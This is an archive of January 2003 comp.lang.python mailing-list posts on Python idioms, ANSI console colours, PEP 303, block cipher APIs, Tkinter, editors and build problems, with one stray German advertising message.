Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Mark Hadfield
> Sent: Monday, January 13, 2003 13:21
> To: python-list at python.org
> Subject: Re: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
> [ann]MinimalPython project)
>
>
> "Skip Montanaro" <skip at pobox.com> wrote in message
> news:mailman.1042468702.13459.python-list at python.org...
> > Not to mention which there is an open source project in the X
> > space called Oroborus.  There is a Mac OS X version also
> > called OroborOSX
>
> That has to be a candidate for the title of worst open-source project name
> in existence. And there's some stiff competition!
>
> --
> Mark Hadfield            "Ka puwaha te tai nei, Hoea tatou"
> m.hadfield at niwa.co.nz
> National Institute for Water and Atmospheric Research (NIWA)
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From root at silmarill.org  Fri Jan 17 22:54:17 2003
From: root at silmarill.org (root at silmarill.org)
Date: Sat, 18 Jan 2003 03:54:17 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com>
Message-ID: <Jd4W9.16792$Dq.1549422@newsread2.prod.itd.earthlink.net>

In article <tlSdnV4T_spIoLWjXTWcqg at comcast.com>, Terry Reedy wrote:
> 
> "Simon Burton" <simonb at webone.com.au> wrote in message
>> And he said:
>> "Empty string, exercise your ability to join this list."
> 
> These statements are misleading.  The argument to .join can be *any*
> sequence of strings or iterable that produces such.  Strings
> themselves, tuples (of strings),
> iterators (that yield strings), string-keyed dicts(!), etc; not just
> lists.
> 
>>>> '.'.join(('1','2','3'))
> '1.2.3'
>>>> '.'.join('abc')
> 'a.b.c'
>>>> from __future__ import generators
>>>> def g():
> ...   for i in range(5): yield str(i)
> ...
>>>> '.'.join(g())
> '0.1.2.3.4'
>>>> '.'.join({'a':1,'b':2})
> 'a.b'
> 
> 
> On the other hand, join only applies to lists of *strings* and not
> lists (or sequences) in general.
> 
>> Ya, not obvious,
> 
> Once you actually think about it, its obvious that attaching the join
> method to the joiner is the only sensible place to put it.

What's insensible about using string.join?

> 
> "Carpenter, exercise your ability to joins these pieces of wood."

Ability to glue them with your own body multiplied! 

> 
> Terry J. Reedy
> 
> 



From roy at panix.com  Wed Jan 22 09:56:38 2003
From: roy at panix.com (Roy Smith)
Date: 22 Jan 2003 09:56:38 -0500
Subject: Newbie asks, how to get rid of the last four characters of a string?
References: <pan.2003.01.22.14.22.46.534199@yahoo.com>
Message-ID: <b0mbf6$13n$1@panix2.panix.com>

Christopher Culver <kricxjo.neniuspamajxo at yahoo.com> wrote:
> is there a function that can be used to chomp off the last four
> characters without having to import the re module?

Look up the slice operator in the manual.  For example:

>>> filename = "mySillyFilename.doc"
>>> filename[:-4]
'mySillyFilename'



From peter at engcorp.com  Fri Jan  3 22:07:09 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 22:07:09 -0500
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com> <v1bdpi6ek57350@corp.supernews.com> <3E1635A0.3040802@earthlink.net>
Message-ID: <3E164FDD.B939D650@engcorp.com>

Ron Stephens wrote:
> 
> Pardon me but I'd like to ask a related question. Of the many gui
> toolkits available for Python, whihc one swork with py-to-exe and/or
> Gordon's installer. in other words, if I have a Python program using
> Tkinter or Wx Python or pyQT, will I be able to convert them to exe
> programs using py to exe , etc?

Definitely wxPython and Tkinter both work fine, with perhaps minor
tricks involved in certain cases of each (such as when using PMW with
TK).

-Peter



From pyth at devel.trillke.net  Wed Jan  8 12:32:20 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 18:32:20 +0100
Subject: no side effects
In-Reply-To: <3E1C49BC.2020206@v.loewis.de>; from martin@v.loewis.de on Wed, Jan 08, 2003 at 04:54:36PM +0100
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com> <20030108160031.C349@prim.han.de> <3E1C3F27.1080009@v.loewis.de> <20030108163019.D349@prim.han.de> <3E1C49BC.2020206@v.loewis.de>
Message-ID: <20030108183220.E349@prim.han.de>

"Martin v. L?wis" wrote:
> holger krekel wrote:
> > Depends on your background.  *If* somebody e.g. thinks that 
> > 
> >     for i in range(3):
> >         print i
> >         i = 3
> > 
> > is somewhat equivalent to C's
> > 
> >     int i;
> >     for (i=0 ; i<3 ; i++) {
> >         printf("%d\n", i);
> >         i = 3;
> >     }
> > 
> > then IMHO my explanation serves well and talking about underlying 
> > iterator protocols wouldn't help too much.  
> 
> Difficult to say, since you have to come up with a theory of why people 
> think so. 

Actually i wanted to study psychology but did computer science instead :-)

Of course, there are all kinds of analogies for all kinds of constructs. 
I happened to guess that the OP was thinking along the above lines. 
And I didn't mean to say that the above "equivalence" is canonical 
or natural in any way. 

> People might expect that the Python for loop translates to 
> something like
> 
> seq = [1,2,3]
> i = seq[0]
> while 1:
>    SUITE
>    try:
>      i = seq[seq.find(i)+1]
>    except IndexError:
>      break
> 
> Of course, they would never spell it out that way: they might think "At 
> the end of the loop, look at the current value of i, then take the 
> element from the sequence that follows i". This is roughly how the C 
> loop works, and translates into the Python fragment above.
> [further explanation]

ok.

> > Why is the way the python for-loop gets to the next *value* 
> > more important than understanding that python works with 
> > name-object bindings everywhere?  And what is so wrong 
> > about this (*)? 
> 
> I would expect that Michelle has grasped the notion of namespaces and 
> name bindings by now; the question hinted at a misunderstanding of the 
> for loop semantics.

Maybe, who knows? 

pythons "name binding" often confuse newcomers, too. 
So i choose to explain both the loop and name-binding 
concept.  In my first response i wrote

        for i in [1,2,3]:
            print i
            i=3

    the for-loop will iteratively bind the (local) name to
    1, then 2, then 3.  It never looks at the binding of
    the name 'i'.  With 'i=3' you only change the binding
    of 'i' to the object '3' but the for-loop will blindly
    change the binding again.

How does this give any wrong impression about the for-loop
in question?  

In my experience, explanations are often better if they also
transport appropriate nomen clatura.  In order to say what
the for-loop actually does to 'i'  it occurs to me that
name-binding plays a central role.  

Explaining the details of the actual iteration over the list
didn't seem as central to me. 

> This details of the for loop is hardly ever noticed, 
> but I'm sure it has confused more than one newcomer (I remember having 
> been confused by it myself).

i agree. The loop and iteration details deserve attention.  

regards,

    holger




From CousinStanley at HotMail.com  Wed Jan  8 10:27:37 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Wed, 8 Jan 2003 08:27:37 -0700
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com>
Message-ID: <avhfvp$filnq$1@ID-130333.news.dfncis.de>

|| Is there a way to change the drab white on black of the dos console window
|| to some other color scheme, say yellow on blue ?

Bill ...

One way to get various background/foreground colors in MS-DOS
is to use  ANSI Escape Sequences  provided by the  ANSI.SYS  driver ...

Add the following line to CONFIG.SYS
using the correct path on  YOUR  system ...

    DEVICE=C:\WINDOWS\COMMAND\ANSI.SYS

Then, colors can be changed
via execution of a small  xxxxx.BAT  file ...

---------------------------------------------

@echo off
rem cob.bat ... cyan on blue
echo ;
cls

--------------------------------------------

@echo off
rem wob.bat ... white on blue
echo ;
cls

-------------------------------------------

@echo off
rem yob.bat ... yellow on blue
echo ;
cls

------------------------------------------------------------

The ANSI Escape Sequences  also work in Python ...

Following is some example Python code
I found posted to this NewsGroup by Denis S. Otkidach
and edited a bit ...

Cousin Stanley

-------------------------------------------------------------

'''

     Module ....... ansi.py

     Function ..... Demonstrate Ansi Escape Sequence Display

     Requires ..... ANSI.SYS Driver

     NewsGroup .... comp.lang.python
     Date ......... 2002-08-23
     Posted_By .... Denis S. Otkidach

     Edited_By .... Stanley C. Kitching

'''

import sys

print '\n   ' , sys.argv[ 0 ] , '\n'

def colored( xStr , *opts ) :

    seq = {
           'clear'      : '0' ,
           'reset'      : '0' ,
           'bold'       : '1' ,
           'underline'  : '4' ,
           'underscore' : '4' ,
           'blink'      : '5' ,
           'reverse'    : '7' ,
           'concealed'  : '8' ,

           'black'      : '30' , 'on_black'   : '40' ,
           'red'        : '31' , 'on_red'     : '41' ,
           'green'      : '32' , 'on_green'   : '42' ,
           'yellow'     : '33' , 'on_yellow'  : '43' ,
           'blue'       : '34' , 'on_blue'    : '44' ,
           'magenta'    : '35' , 'on_magenta' : '45' ,
           'cyan'       : '36' , 'on_cyan'    : '46' ,
           'white'      : '37' , 'on_white'   : '47' }


    esc = '\x1b['
    sep = ';'
    end = 'm'

    if len( opts ) :

        seqs = []

        for opt in opts :

            seqs.append( seq[ opt ] )

        ae_Seq = esc + sep.join( seqs ) + end + xStr + esc + seq[ 'reset' ] + end

        return ae_Seq

    else :

        return xStr

def xMain() :

    SP8 = '\x1b[8C'  # Move Right 8 spaces

    list_colors = [ 'red' ,     'green' , 'yellow' , 'blue' ,
                    'magenta' , 'cyan'  , 'white' ]


    for color_x in list_colors :

        print SP8 , colored( ' ' + color_x , 'bold' , color_x , 'on_black' )


    print

    for color_x in list_colors :

        str_Out  = '%-20s' % ( ' white  on  ' + color_x )

        color_bg = 'on_' + color_x

        print SP8 , colored( str_Out , 'bold' , 'white' ,  color_bg )


    str_Out  = '%-20s' % ( ' yellow on blue ' )

    print
    print SP8 , colored( str_Out , 'bold' , 'yellow' , 'on_blue' )


if __name__ == '__main__' :

   xMain()






From andersjm at dancontrol.dk  Thu Jan  2 09:49:13 2003
From: andersjm at dancontrol.dk (Anders J. Munch)
Date: Thu, 2 Jan 2003 15:49:13 +0100
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <av04dl$gak$1@news.hccnet.nl>
Message-ID: <3e14516a$0$71642$edfadb0f@dread11.news.tele.dk>

"Anton Vredegoor" <anton at vredegoor.doge.nl> wrote:
> Here's the short permutation algorithm for PEP 303:
> 
> def perm(i,s):
>     L = list(s)
>     return "".join([L.pop(x) for x in\
>         divmod(i,*range(len(L)-1,0,-1))])

<Cognitive overload. Core dumped.>

-0.1 on PEP303.

It's a pure and elegant extension, but it suspect it will be so rarely
used that it will effectively become an obfuscation device ;-).

- Anders





From peter at engcorp.com  Wed Jan 29 10:55:15 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:55:15 -0500
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com> <3E2DEF9F.A8596B23@engcorp.com> <bs29tyi2.fsf@python.net> <3E2EA9EE.EB599DC6@engcorp.com> <slrnb3fc2g.gon.rmunn@localhost.localdomain>
Message-ID: <3E37F963.2745DE9C@engcorp.com>

Robin Munn wrote:
> 
> > Thomas Heller wrote:
> >> http://starship.python.net/crew/theller/ctypes.html
> >
> I recall a posting recently saying that ctypes development has been
> moved to Sourceforge. You may want to bookmark
> 
>     http://sourceforge.net/projects/ctypes/
> 
> as well.

It might be a while before Google decides that's the best link to use,
especially with the author posting it as the proper link.  ;-)

Actually, I just visited the sourceforge page, and clicked on "Home Page",
and it leads back to the link Thomas posted, so I think it's probably
safe to use it for now.

-Peter



From phr-n2003b at NOSPAMnightsong.com  Mon Jan 27 19:16:19 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 27 Jan 2003 16:16:19 -0800
Subject: New Python block cipher API, comments wanted
Message-ID: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>

I'd appreciate it if any Python cryptography buffs out there could
take a look at

   http://www.nightsong.com/phr/crypto/blockcipher.tgz

It's a proposed new API for using block ciphers in Python.  It's
loosely patterned after the Java cipher classes, but somewhat simpler
and maybe more Pythonic.  Basically it provides a low level "codebook"
layer that implements raw block ciphers like DES or AES, and a higher
level "modes of operation" layer that implements the standard FIPS
cipher modes (ECB, CBC, OFB, CFB, and CTR) by calling codebook
objects.  This improves on the PEP 272 approach since a cipher
implementer only has to implement the raw block encryption function,
and a library module then provides all the FIPS modes automatically.
PEP 272 requires each new cipher module to implement all FIPS modes
itself.

The file at the url above includes a reference implementation written
in Python and some preliminary docs.  There are some rough edges about
the whole thing, and the reference implementation may be buggy, so
don't use it for anything serious.  It's intended as a throwaway, for
reference and testing purposes.

My hope is to get some comments from the community, make any needed
changes to the API, then re-implement it in C (including AES and DES)
for inclusion in Python 2.3a2 which should be coming out pretty soon.
The hope is for Python to finally get real cryptography as part of its
standard library.

Thanks for any comments or suggestions.

Paul



From andrew at indranet.co.nz  Wed Jan 15 22:28:35 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Thu, 16 Jan 2003 16:28:35 +1300
Subject: Interesting problem comparing strings with integer values...
In-Reply-To: <dkub2vgjq4bvmipltiq1rtt1aaumqrnoc8@4ax.com>
References: <dkub2vgjq4bvmipltiq1rtt1aaumqrnoc8@4ax.com>
Message-ID: <32920000.1042687715@localhost.localdomain>

There is one such in the IPy IP Address manipulation module, as follows:

_BitTable = {'0': '0000', '1': '0001', '2': '0010', '3': '0011',
            '4': '0100', '5': '0101', '6': '0110', '7': '0111',
            '8': '1000', '9': '1001', 'a': '1010', 'b': '1011',
            'c': '1100', 'd': '1101', 'e': '1110', 'f': '1111'}

def _intToBin(val):
    """Return the binary representation of an integer as string."""

    if val < 0:
        raise ValueError, "Only positive Values allowed"
    s = hex(val).lower()
    ret = ''
    if s[-1] == 'l':
        s = s[:-1]
    for x in s[2:]:
        if __debug__:
            if not _BitTable.has_key(x):
                raise AssertionError, "hex() returned strange result"
        ret += _BitTable[x]
    # remove leading zeros
    while ret[0] == '0' and len(ret) > 1:
        ret = ret[1:]
    return ret


--On Wednesday, January 15, 2003 18:29:54 -0600 Chris Spencer 
<clspence at one.net> wrote:

> However, I've not been able to find an equivalent to hex() or oct() that
> would turn integers into binary string representation.  If there IS such
> a beastie, please let me know.
>
> Chris.





From fredrik at pythonware.com  Sun Jan  5 10:39:59 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 05 Jan 2003 15:39:59 GMT
Subject: Tkinter question: position cursor within text widget
References: <av94tj$10p$1@news2.tilbu1.nb.home.nl>
Message-ID: <jlYR9.4678$LY2.268521@newsc.telia.net>

"v.wehren" <v.wehren at home.nl> wrote:

> After loading the contens of a text file into a text widget with something
> like: <snip>
>      content = inf.read()
>      self.textbox.insert(END, content)
>      self.textbox.focus_set()
>       </snip>
>
> I want the insert cursor to be at the home position after the file has
> loaded.Is there a simple method to position the cursor at a given index? I
> haven't *found* any in the "prevailing" Tkinter sources across the web
> yet...

the cursor is represented by a predefined mark called INSERT.  to
move it around, use the mark_set method:

    self.textbox.mark_set(INSERT, 1.0)

more information here:

    http://www.pythonware.com/library/tkinter/introduction/text.htm
    (click on "Concepts" and scroll down to "Marks")

</F>





From norm at norm.com  Sat Jan 25 13:24:27 2003
From: norm at norm.com (Norm)
Date: Sat, 25 Jan 2003 13:24:27 -0500
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <fcAY9.37$Sf4.29148@news.uswest.net>
Message-ID: <3e32d463_4@corp.newsgroups.com>

Kevin - That is just what I wanted - what a great post!

Being a VBA guy which has autocomple the autocomplete of PyCrust Shell will
be PERFECT!

Thanks
Norm

"Kevin Altis" <altis at semi-retired.com> wrote in message
news:fcAY9.37$Sf4.29148 at news.uswest.net...
> "Norm" <norm at norm.com> wrote in message
> news:3e32a1a6_4 at corp.newsgroups.com...
> > I'm really just getting started in Python with the goal of improving my
> > Linux networking administration.
> >
> > I'm learning / practicing with IDLE Python GUI.
> >
> > Q.  What does the real Python community use for creating Python
programs?
> >
> > Thanks
> > norm
>
> You'll just need to try some. It is critical that the editor you use is
> Python-aware, can highlight things like mixed tabs and spaces, which can
> cause errors when trying to run your scripts; you should just use 4 spaces
> per indent, but your editor should be able to bind the tab and shift-tab
> keys to automatically indent and dedent correctly while editing. If you
are
> already familiar with using vi(m) or Emacs or any of the other editors
> listed in the links below, then there is a lot to be said for not
switching
> editors and just getting a Python mode working with the editor you already
> know. If you don't already know vi(m) and Emacs then I strongly urge you
not
> to try and come to grips with either of those editors while learning
Python,
> that would simply be cruel and unusual punishment. You'll have time to
learn
> to love or hate vi(m) or Emacs or neither after you've learned Python.
>
> http://www.python.org/editors/
>
> http://www.python.org/cgi-bin/moinmoin/PythonEditors
>
> I think the important thing is to make sure you have an integrated shell
as
> part of your editor or Terminal/Console so that you can try things out.
The
> better Python shell wrappers have auto-completion and calltips, IDLE does
> not support this. Personally, I use PyCrust, which is part of the wxPython
> distribution.
>
> http://www.wxpython.org/
>
> There is also IPython
>
> http://www-hep.colorado.edu/~fperez/ipython/
>
> To see what I mean by auto-completion and call tips, look at the last two
> images of the Shell (PyCrust) documentation here:
>
> http://pythoncard.sourceforge.net/shell.html
>
> You may also want to look at a more focused list of resources for learning
> Python from the PythonCard docs page:
>
> http://pythoncard.sourceforge.net/learning_python.html
>
> ka
> ----
> Kevin Altis
> http://radio.weblogs.com/0102677/
> http://ww.pythoncard.org/
>
>




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From johannes.stiehler at fast.no  Wed Jan 15 09:56:25 2003
From: johannes.stiehler at fast.no (Johannes Stiehler)
Date: 15 Jan 2003 15:56:25 +0100
Subject: pybsddb and python 2.3
Message-ID: <b03sqp$fni$1@svr8.m-online.net>

Hi,

does anybody know what the long-term strategy will be for synchronizing
pybsddb and python bsddb module development?

Pybsddb seems to be incorporated into python now, but the sourceforge
version supports sleepycat bssdb 4.1 and the version in python only 4.0.

Will this be updated for the next release or should we all stick to db 4.0
in order not to introduce incompatibilities with future python releases
into our code?

Johannes Stiehler




From mertz at gnosis.cx  Wed Jan  8 13:29:51 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 08 Jan 2003 13:29:51 -0500
Subject: Python vs .Net (
References: <mailman.1042014704.20400.python-list@python.org>
Message-ID: <f4GH+kKkX4nO092yn@gnosis.cx>         

"Serdar Kilic" <moz at skilic.com> wrote previously:
|It would be quite difficult to "sue MONO" as they are building not from
|Microsoft specifications but specifications from ECMA (and soon to be ISO
|standards as well).

I don't think the suits will primarily concern copyright issues.
Rather, mostly patents.  Nothing in an ECMA/ISO standard has the power
to invalidate patents.  Heck, decades of prior knowledge, obviousness,
published standards, widespread implementation, does very little to
limit patent SUITS.

MS doesn't have to WIN on the legal grounds.  They just have to be
willing to spend more on lawyers than Ximian has to spend.  It's not
hard to get an injunction.  And an injunction stands until someone comes
up with enough money to get it overturned.

Yours, Lulu...

--
 mertz@  _/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: \_\_\_\_    n o
gnosis  _/_/             Postmodern Enterprises            \_\_
.cx    _/_/                                                 \_\_  d o
      _/_/_/ IN A WORLD W/O WALLS, THERE WOULD BE NO GATES \_\_\_ z e





From aahz at pythoncraft.com  Thu Jan 16 19:56:10 2003
From: aahz at pythoncraft.com (Aahz)
Date: 16 Jan 2003 19:56:10 -0500
Subject: Finding the calling method
References: <df392399.0301141226.1554a055@posting.google.com>
Message-ID: <b07kba$miq$1@panix2.panix.com>

In article <df392399.0301141226.1554a055 at posting.google.com>,
Mark <itcram at yahoo.com> wrote:
>
>I don't know if you there is a function or method you can call to find
>this.  Inside a method(method A) I'm calling another method(method B)
>inside the same class.  Is there a way while I'm inside method B to
>find out what method called it, which would be method A.  Do I have to
>look at the stack or is there a function to call?

Why do you want to know this?  There's likely to be a better way than
using sys._getframe().
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From morden at shadows.net  Mon Jan 13 15:08:41 2003
From: morden at shadows.net (morden)
Date: Mon, 13 Jan 2003 12:08:41 -0800
Subject: best college for computer science major
In-Reply-To: <3e1ba232_6@nopics.sjc>
References: <3e1ba232_6@nopics.sjc> <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com> <mailman.1042119797.10638.python-list@python.org> <v1r87vpu6add72@corp.supernews.com> <TZrT9.2455$Dq.234800@newsread2.prod.itd.earthlink.net>
Message-ID: <avv05o$72q$1@bob.news.rcn.net>

Terry Hancock wrote:

> Cameron Laird wrote:
>
> >However, individual qualities remain more determinative of educational
> >achievement than institutional ones.  I've got abundant anecdotal
> >evidence of motivated people deriving more from low-prestige community
> >colleges than better-heeled slackers doing at, say, Stanford.
>
>
> As this may be relevant to the OP, I'd like to add that at a small 
> college,
> a highly motivated individual may be able to find and conduct more
> interesting research to them personally.  Big schools, with large 
> research
> grants, will channel students into doing whatever research they are 
> getting
> money for (this has approached the status of a pathology in a lot of US
> schools).
>
> Whereas, a small college, whose budget is almost entirely based on 
> student
> tuition or state education funding, may very well be more open to 
> students
> conducting original work. The trick is just finding a sympathetic
> advisor/professor to help you out with it. A motivated undergraduate 
> can go
> a long way that way (and professors love motivated students).
>
> The point is, that at a small college you have a better chance of 
> becoming
> a local star student nstead of just rank and file, and you can use that to

Yeah, you have a chance to become the best among the horrible
and then hit the ceiling (or become lost in the surrounding
vacuum). But some people have courage to be ugly I guess.
There is no substitution for good instructors. The learning curve will
have a different shape for sure :-)))
Speaking from experience only.




From martin at v.loewis.de  Fri Jan 10 06:46:34 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 10 Jan 2003 12:46:34 +0100
Subject: Using Py 1.5.2 libs/mods with Py 2.2 ? (for PyQt)
In-Reply-To: <5a969143.0301100318.1c0490e6@posting.google.com>
References: <5a969143.0301100318.1c0490e6@posting.google.com>
Message-ID: <avmbqm$ula$02$1@news.t-online.com>

Az Tech wrote:
> 9. However, I may not want to do that just now. 
> Generalizing the situation, this led me to wonder
> whether is is possible and "officially" recommended to
> use one version of Python with the libraries / modules
> installed in the site-packages directory of another
> version, and if so, what is the way to do it ?

In general, if there are extension modules (i.e. shared libraries) 
involved, you cannot share them across Python installations - you need 
to recompile them for each Python version.

Pure-Python libraries can be installed in the site-python directory to 
share them (assuming they work with all available Python releases).

Regards,
Martin




From ajs at ix.netcom.com  Mon Jan 20 21:05:35 2003
From: ajs at ix.netcom.com (Arthur)
Date: Mon, 20 Jan 2003 21:05:35 -0500
Subject: license
Message-ID: <007e01c2c0f1$96c06e00$63a09840@Arts>

>BTW, you still haven't mentioned the package. Tell me THE PACKAGE!!! ;)

I am *never* discrete.

But at my age, an opportunity for a new experience is rare.

So I'm taking it.

Art 





From lac at strakt.com  Tue Jan 28 04:45:42 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 28 Jan 2003 10:45:42 +0100
Subject: PEP 304 - Controlling generation of bytecode files 
In-Reply-To: Message from Skip Montanaro <skip@pobox.com> 
   of "Mon, 27 Jan 2003 16:44:15 CST." <15925.46655.439046.717944@montanaro.dyndns.org> 
References: <15925.46655.439046.717944@montanaro.dyndns.org> 
Message-ID: <200301280945.h0S9jgjL020155@ratthing-b246.strakt.com>

<snip> 
> You can find the pep here:
> 
>     http://www.python.org/dev/peps/pep-0304.html
> 
> I just (2003-01-27, 1630 US Central Time) checked in a minor change to the
> document related to import hooks (version 1.4).  I don't know how frequently
> the pep directory is updated, so you might have to wait awhile to get at it.
> 
> Skip

I can't.  Did you mean http://www.python.org/peps/pep-0304.html (no /dev)
or is something else going on?

Laura




From jbperez808 at yahoo.com  Tue Jan 14 19:17:30 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 14 Jan 2003 16:17:30 -0800
Subject: references / aliases in Python follow-up
Message-ID: <f57664b9.0301141617.5dee7839@posting.google.com>

>    def f1(self):
>      ref1=&self.long_descriptive_name1  # hypothetical address-of operator
>      ref2=&self.long_descriptive_name2
>      if (*ref1)>(*ref2)+1: (*ref1)=(*ref2) 
>      # hypothetical dereference operator
>
> replacing the long and rather unreadable (in practice it often
> gets much worse than shown below):
> 
>    if self.long_descriptive_name1>self.long_descriptive_name2+1: 
>        self.long_descriptive_name1=self.long_descriptive_name2
>
> Is there a way to get aliases without having to add a pointer 
> type + referencing / dereferencing operators to Python?  What
> exactly is the Python philosophy regarding pointer types and 
> referencing / dereferencing?

Actually I believe my C++ is quite rusty and the example above 
may not reflect C++ usage... I don't think there is a need to 
apply the dereference operator after all.

So:

  def f1(self):
    ref1=&self.long_descriptive_name1
    ref2=&(self.long_descriptive_name2) # alternative syntax
    if ref1>ref2+1: ref1=ref2  # self.long_descriptive_name1 gets assigned to

works in the hypothetical scenario.  Or one could always do:

    ref1=aliasof(self.long_descriptive_name1)

Seems clean enough at first glance, but the python gurus here
might be able to point out pitfalls.



From webmaster at pferdemarkt.ws  Wed Jan 15 07:33:03 2003
From: webmaster at pferdemarkt.ws (webmaster at pferdemarkt.ws)
Date: Wed, 15 Jan 2003 04:33:03 -0800
Subject: Pferdemarkt.ws informiert! Newsletter 01/2003
Message-ID: <200301151233.EAA07196@eagle.he.net>

http://www.pferdemarkt.ws

Wir sind in 2003 erfolgreich in des neue \"Pferdejahr 2003 gestartet.

F?r den schnellen Erfolg unseres Marktes m?chten wir uns bei Ihnen bedanken.

Heute am 15. Januar 2003 sind wir genau 14 Tage Online!

T?glich w?chst unsere Datenbank um ca. 30  neue Angebote.

Stellen auch Sie als Privatperson Ihre zu verkaufenden Pferde direkt und

vollkommen Kostenlos ins Internet.

Zur besseren Sichtbarmachung Ihrer Angebote k?nnen SIe bis zu ein Bild zu Ihrer

Pferdeanzeige kostenlos einstellen!

Klicken Sie hier um sich direkt einzuloggen http://www.Pferdemarkt.ws

Kostenlos Anbieten, Kostenlos Suchen! Direkt von Privat zu Privat!

Haben Sie noch Fragen mailto: webmaster at pferdemarkt.ws



 





From plusk at radford.edu  Fri Jan 24 11:27:59 2003
From: plusk at radford.edu (Paul D. Lusk)
Date: 24 Jan 2003 16:27:59 GMT
Subject: Help compiling python on HPUX
Message-ID: <Xns930D74A3B3D60ID134675userdfncisd@130.133.1.4>

We are using python at Radford University on HPUX, but we have encountered
a problem. When we moved the python executable from our test machine to
the production machine, we got an error message when trying use 
DCOracle2:

/usr/lib/dld.sl: Can't shl_load() a library containing Thread Local 
Storage: 
/usr/lib/libcl.2 
/usr/lib/dld.sl: Exec format error

On the test machine, we solved this by setting LD_PRELOAD=/usr/lib/libcl.2
before running python, but this does not work on the production machine.

A Google search showed that this problem could be fixed by linking libcl.2 
in when building python, but I don't know where to change the makefile to 
do this. (My C and makefile knowledge is limited, although I did manage to 
compile GCC 3.2 and python 2.2.2 on my Mandrake 8.2 machine).

Any help would be appreciated. 



From victor at argilent.com  Mon Jan 20 22:01:18 2003
From: victor at argilent.com (Victor)
Date: Mon, 20 Jan 2003 22:01:18 -0500
Subject: python + wxPython
Message-ID: <000001c2c0f9$5f6f3af0$237b7018@JUMPY>

I have intalled the regular python distribution for windows, but I want
to try out pyCrust, and it comes with wxPython, do I have to uninstall
python and then install wxpython? If I install wxpython over the regular
python will there be problems? 

- Vic

______________________________________________________________________ 
Post your free ad now! http://personals.yahoo.ca




From abelikov72 at hotmail.com  Thu Jan  9 05:47:13 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 10:47:13 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net>
Message-ID: <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>

On Thu, 09 Jan 2003 03:25:41 -0700, some Dalke wrote:

>Afanasiy wrote:
>>>A few languages provide syntax sugar for dealing with
>>>this by allowing you to localize the class scope.
>>>
>>>Does Python? eg. `with self do:`
>
>> So the answer is a definitive no? I want to do things as I have them,
>> I don't want to change my design just to be able to type 'self' less.
>
>It's a definite no.  From previous accounts, said sugar is hiding
>rat poison.  It's advantages are slight to its disadvantages.  Eg,
>for your case it would have hid a poor implementation rather than
>yield a better one.

You don't know what I am doing. My design is perfect.
In my situation, your way is wrong. I am not looking to
hide a poor implementation. That's a rude assumption.

>> Is there any tricky one-liner that brings object members in scope?
>
>Yes but I won't tell.  You shouldn't use it.

Excellent, thanks.



From chris.gonnerman at newcenturycomputers.net  Wed Jan 29 08:05:58 2003
From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman)
Date: Wed, 29 Jan 2003 07:05:58 -0600
Subject: migc.pyd please help me!
References: <d2810a8.0301290215.68c39ee3@posting.google.com>
Message-ID: <005901c2c797$2bc95880$ba01010a@local>

----- Original Message ----- 
From: "nightdriver" <nightdriver at bolt.com>


> I repost because no one reply to me.
> ========================================

Probably because none of us have heard of mingc.  What
is it, where do you get it, etc.?  (I could google for
it, but if you want an answer on USENET you are expected
to make it easy to give.)

> Hi there,
> i am in search of a mingc.pyd for the latest windows release of phyton
> anybody can point me to url that contain this (or send it to me).
> 
> Please help me i've searched to compile the module by myself but under
> windows compile with gcc/mingw32 is UGLY.
> 
> Thanks,
> nightdrv

Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net
http://newcenturycomputers.net






From hwlgw at hotmail.com  Tue Jan 14 16:34:50 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 14 Jan 2003 13:34:50 -0800
Subject: flock experience
References: <mailman.1042547906.23740.python-list@python.org> <b0165m$pmm$1@news-reader10.wanadoo.fr>
Message-ID: <cb035744.0301141334.2a88522c@posting.google.com>

[Eric Brunel]
> ...
